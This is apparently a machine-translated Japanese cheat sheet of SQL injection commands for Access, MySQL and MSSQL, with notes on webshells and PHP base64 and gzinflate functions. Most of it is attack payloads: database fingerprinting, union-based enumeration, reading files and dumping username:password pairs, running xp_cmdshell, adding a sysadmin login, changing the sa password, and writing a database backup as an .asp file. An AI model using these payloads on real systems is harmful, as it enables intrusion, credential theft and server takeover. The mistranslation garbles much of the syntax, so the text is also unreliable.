ときにあなたの才能
あなたは野心にハングアップする余裕がない場合には
その後、学習を停止する必要があります
私は、参照を容易にするために、ここに入れ、一緒にし、いくつかの一般的なコマンドインジェクションを要約し、MSSQL。インターネットから誰かを探しています
死角を掃引する質問に入る前に、友人が持っているでしょうがあり、あなたはスキップすることができます
ディレクトリ
MsSQLが、共通の噴射指令の概要
データベースの種類を決定します。
次の
1、ウェブシェル
ウェブシェルはコマンドプレゼンスASP、PHP、などの実行環境として、ウェブ文書のJSPまたはCGIの形で、それはまた、ウェブページ、バックドアとして呼び出すことができます。ウェブサイトで一般的な、*** R侵入した後、多くの場合、これらのASPやPHPのバックドアで*** Webサーバのディレクトリサイト内のファイル、通常のWebファイルと混合。***あなたは、ファイルのアップロードとダウンロードを含め、*** ASPやPHPを通じてバックドアサーバーコントロールをウェブウェイを使用するデータベースを表示、任意のコマンドを実行することができます。DOSコマンドまたは傍注他のサイトので、同じサーバーに到達する権利を言及することにより、目的***などのバックドアサーバの脆弱性、経由。
ウェブシェルサーバが原因リモートサーバまたは制御とオーバーパスポート80に、ファイアウォールを通過することができ、それはファイアウォールでブロックされることはありません。そして、一般的にウェブシェル使用してレコードのみ提出されたデータの一部を残して、システムログに記録されて残していない、経験の浅い管理者は、WebログサイトにR侵入の痕跡を確認することは困難です。
2、base64エンコード
BASE64は、一般に、より長いHTTP環境識別情報送信に使用される8ビット符号化バイトコードを送信するための最も一般的なネットワークの一つです。
URLに標準Base64では、「/」と「+」の文字が「○○%」のような形になるであろうURL標準のBase64符号化するので、直接伝送には適していない、メモリのこれらの「%」 ANSI SQLは「%」になっているため、データベースも、ワイルドカードとして使用し、再び変換する必要があります。
この問題を解決するために、URLは、Base64エンコードを改善するために使用することができる、それは充填「=」記号の終わりではなく、標準のBase64で「+」と「/」「_」に変更され、「 - 」行わなければ、このように、このプロセスでコーディング情報の長さを長く回避し、統一データベースフォーマットなどのオブジェクト識別子を形成するために、URLコーデックおよびデータベース・ストレージでの変換を排除します。
3、BASE64でPHP関数
BASE64_ENCODE()関数
処置:BASE64エンコーディングに文字列。
语法:文字列BASE64_ENCODE(文字列データ)。
戻り値:文字列。
関数型:符号化プロセス。
説明:この関数は、MIME BASE64エンコードされる文字列。このエンコーディングは、テキストや画像にも成功したネットワークを介して送信することができますことができます。BASE64エンコードされた文字列は、実質的に唯一の小文字、アラビア数字、プラスバックスラッシュ、64文字の合計が含まれた後、これBASE64命名され、他の特殊文字が含まれていません。エンコードされた文字列を加えた文字列の元の長さに比べて約1/3。詳細については、BASE64 6.8 RFC2045文書をエンコードすることができます。
例えば:
<?phpの
$ strのは、=「これはエンコードされた文字列です」;
エコーBASE64_ENCODE($ strの);
?>
BASE64_DECODE()関数
効果:MIMEのbase64でデコードを使用してエンコードされたデータ。
语法:文字列BASE64_DECODE(文字列データ)。
戻り値:文字列。
関数型:符号化プロセス。
説明:エンコードされた文字列をデコードするBASE64_ENCODE機能。
例えば:
<?phpの
$ strの= 'd2VsbGNvbWUlMjB0byUyMGVyYW5nZSUyMQ ==';
エコーBASE64_DECODE($ strの);
?>
4、PHPでの相関関数を収縮させます
(コーディングハフマン)コーディングLZ77アルゴリズムとハフマン符号を用いて同時にDEFLATE可逆データ圧縮アルゴリズムです。
gzdeflate()関数
役割:データはDEFLATコーディングを行います。
構文:文字列gzdeflate(文字列データ)。
戻り値:文字列。
関数型:符号化プロセス。
例えば:
<?phpの
$ = gzdeflateを圧縮( '私を圧縮'、9);
$圧縮エコー。
?>
Gzinflate()関数
役割:データはDEFLATコーディングを行います。
構文:文字列gzinflate(文字列データ)。
戻り値:文字列。
関数型:符号化プロセス。
例えば:
<?phpの
$ = gzdeflateを圧縮( '私を圧縮'、9);
$圧縮されていない= gzinflate($圧縮)。
$非圧縮エコー。
?>
MsSQLが、共通の噴射指令サマリ
判決データベースの種類:
アクセス:
及び(SELECT MSysAccessObjectsから上記ID)>正常な説明に0復帰アクセスで
MSSQL:
と>正常説明に0復帰MSSQLある(SELECTは、上記のsysobjectsからID挙げ)
のMySQL:
長さ(ユーザー())>正常な説明に0復帰は、MySQLで
のMySQL。
•1.分析のリリースとORD(ミッド(バージョン() 、1,1))> 51 / 復帰命令は、通常4.0以上である、クエリが組合かもしれ
URL 10を追加することにより、順番に、暴力のフィールドを使用して•2.順序/通常の命令フィールドへの復帰が10より大きい場合
など正確組合フィールド、クエリに再利用•3:1,2,3を選択することによって、または1 = 2組合順序を ...... ./* 正常に戻るまで、正確な推測フィールドを記載番号。フィルタの
スペースを使用することができます/ * /置き換えます。
•4.データベース接続アカウントが書き込み権限を、そして(からのカウントを()を選択していないかを決定 0 /> mysql.user) の結果がエラーを返す場合、我々は、管理者アカウントとパスワードだけで推測することができ
ヤード。
•5.正常に戻るが、それは()カンマで区切らチャー(ASCIIファイルパス値)可能な場合により1 = 2組合1,2,3,4,5,6を選択し、 LOAD_FILE、8,9,10 /注意:
また、進構成ファイルで使用することができるLOAD_FILE(CHAR(コンマで区切られたASCIIファイルパス値))データベース接続を見つけるために、このように読み出されます。
•6、ルートとして検出されず、/ * / ORD(MID(ユーザー()、1,1))= 114 /
•。7、MySQLの組み込み関数ヘクス()は、このような選択ヘクス(ユーザ(16進数の文字を変換します))
MySQLの組み込み関数unhex()のような16進数、復号SELECT unhex(16進数(ユーザー()))
•。8、MySQLの組み込み関数CONCAT()と行の列の組み合わせ、複数として選択連結(ユーザ名、0x3A、パスワード ) t_member
組み込み関数の一般的な使用•9:
SELECT SYSTEM_USER()ビュー・システム・ユーザー
を選択しCURRENT_USER()現在のユーザー照会する
ユーザー照会することを選択したユーザ()を
、データベースのバージョン照会するSELECTバージョン()を
現在接続されているデータベースを照会する)SELECTデータベースは(
問い合わせversion_compile_os @@選択します現在のオペレーティングシステムは、
@@ DATADIR問合せは、データベースのパスを読み込み、選択し
てbasedirクエリMYSQLのインストールパスを選択します@@
------------------------------ ----------
すべての行をチェックアウトする限界1,1を削除、最初の番号は、いくつかの問い合わせの最初を示し、2番目の数字は、クエリの数を表します。
第1の数の増分1から3:00のブラウザクエリは、二つのライブラリ/テーブルの存在を示す、エラーを返します。
•10、検索データベースの数
連合のinformation_schema.schemata限度1,1からSELECT cuncat(SCHEMA_NAME、0x3A)
•11、ルックアップテーブル
組合がTABLE_SCHEMA =ライブラリ名の制限1,1 INFORMATION_SCHEMA.TABLESからTABLE_NAMEを選択
MSSQL:
権限SAかどうかを検出
し、1 =(IS_SRVROLEMEMBER( '選択 システム管理者を')); -
DBの許可かどうかを検出
し、1 =(IS_MEMBER( '選択 db_ownerのは、'))
master.dbo.sysdatabasesから、すべてのデータベース組合に選択名前をバーストどこDBID = 1 1は、最初のライブラリが表す
すべてのテーブルのバースト
最初のテーブル組合•名前= .dbo.sysobjects「U」XTYPEライブラリから上位1名を選択する
•第2のテーブル組合はライブラリ名から上位1名を選択します。 XTYPE =「U」とdbo.sysobjects (「で名前ではない最初のテーブル」)
第3のテーブル組合•はXTYPE =「U」とライブラリ名.dbo.sysobjectsからトップ1名を選択しないで名前( ' 最初のテーブル''第二のテーブル')
...
バースト列:
•SELECT IDは、ID = XTYPE seay.dbo.sysobjectsからバースト' U-'and NAME = 'ADMIN'
•爆薬列が上位1名を選択seay.dbo.syscolumnsからID = ID番号
•爆発2番目の列はID seay.dbo.syscolumnsからトップ1名を選択 = IDのない(「最初の行」)に番号と名前
...
バーストデータ:
選択テーブルのカラム名から
•master.dbo.xp_dirtree ' C:\ ';ディレクトリトラバース
のexec master.dbo.xp_availablemedia•; -現在のすべてのドライブが取得
幹部master.dbo.xp_subdirs•' Cを:\」 ; - サブディレクトリのリストを取得
•幹部をmaster.dbo.xp_dirtree 'C:\' ; -ディレクトリツリー構造のすべてのサブディレクトリへのアクセス
•EXECをmaster.dbo.xp_cmdshell「タイプC:\ウェブ\ web.configファイルは、」; - ファイルの内容を表示
するデータベースのバックアップ:ディスクへのバックアップデータベースライブラリ名を=「C:/リットル 。 ASP;「
:MSSQL組み込み関数
、データベースのバージョンはSELECT @@バージョンクエリ
USER_NAME()現在のデータベース接続のユーザー名問い合わせる選択
選択db_nameは()現在のデータベース名照会する
変更saのパスワード
新しいパスワードのexec sp_passwordをのNULLを、」「」saの「
SA権限を追加します。ユーザー
のexec sp_addloginを'ユーザ名'、 'パス '、 'マスター';
EXEC sp_addsrvrolemember 'ユーザ名'、システム管理者
複数行をサポートするかどうかを検出
@d int型を宣言;; -
停止またはサービスをアクティブにします。
master..xp_servicecontrol Execの'STOP'、 'スケジュール'
Execのmaster..xp_servicecontrol 'スタート'、 'スケジュール'
、解凍したファイル。
xp_unpackcab 'C:\ test.cab'、 'C:\ TEMP'、1
xp_cmdshellを復元
Execののmaster..dbo.sp_addextendedproc 'xp_cmdshellを'、 'xplog70.dllを';; -
オープンサンドボックスモード:
Execのmaster..xp_regwrite 'HKEY_LOCAL_MACHINE'、 'マイクロソフト\ジェット\ 4.0のソフトウェア\ \エンジン'、 'SandboxMode'を、 'REG_DWORD'、1